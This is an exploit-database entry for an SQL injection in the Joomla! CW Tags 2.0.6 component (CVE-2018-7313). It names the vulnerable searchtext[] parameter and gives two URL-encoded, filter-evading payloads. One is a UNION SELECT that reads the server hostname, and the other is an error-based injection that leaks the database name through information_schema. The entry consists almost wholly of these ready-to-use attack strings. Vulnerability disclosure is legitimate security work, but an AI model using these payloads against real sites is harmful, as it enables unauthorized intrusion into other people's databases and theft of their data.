Joomla! Component CW Tags 2.0.6 - SQL Injection

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# Exploit Title: Joomla! Component CW Tags 2.0.6 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: http://www.cwjoomla.com/
# Software Link: https://extensions.joomla.org/extensions/extension/search-a-indexing/tags-a-clouds/cw-tags/
# Version: 2.0.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7313
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# Exploit Author: Ihsan Sencan
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# POC: 
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# 1)
# http://localhost/[PATH]/index.php?option=com_cwtags&searchtext[]=[SQL]
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# %2d%45%66%65%27%29%20%20%2f%2a%21%30%33%33%33%33%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%33%33%33%33%53%45%4c%45%43%54%2a%2f%20%40%40%48%4f%53%54%4e%41%4d%45%2d%2d%20%2d
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# %31%27%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%2c%63%6f%6e%63%61%74%28%28%73%65%6c%65%63%74%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%63%61%73%74%28%64%61%74%61%62%61%73%65%28%29%20%61%73%20%63%68%61%72%29%2c%30%78%37%65%29%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%64%61%74%61%62%61%73%65%28%29%20%6c%69%6d%69%74%20%30%2c%31%29%2c%66%6c%6f%6f%72%28%72%61%6e%64%28%30%29%2a%32%29%29%78%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%67%72%6f%75%70%20%62%79%20%78%29%61%29%20%41%4e%44%20%27%27%3d%27
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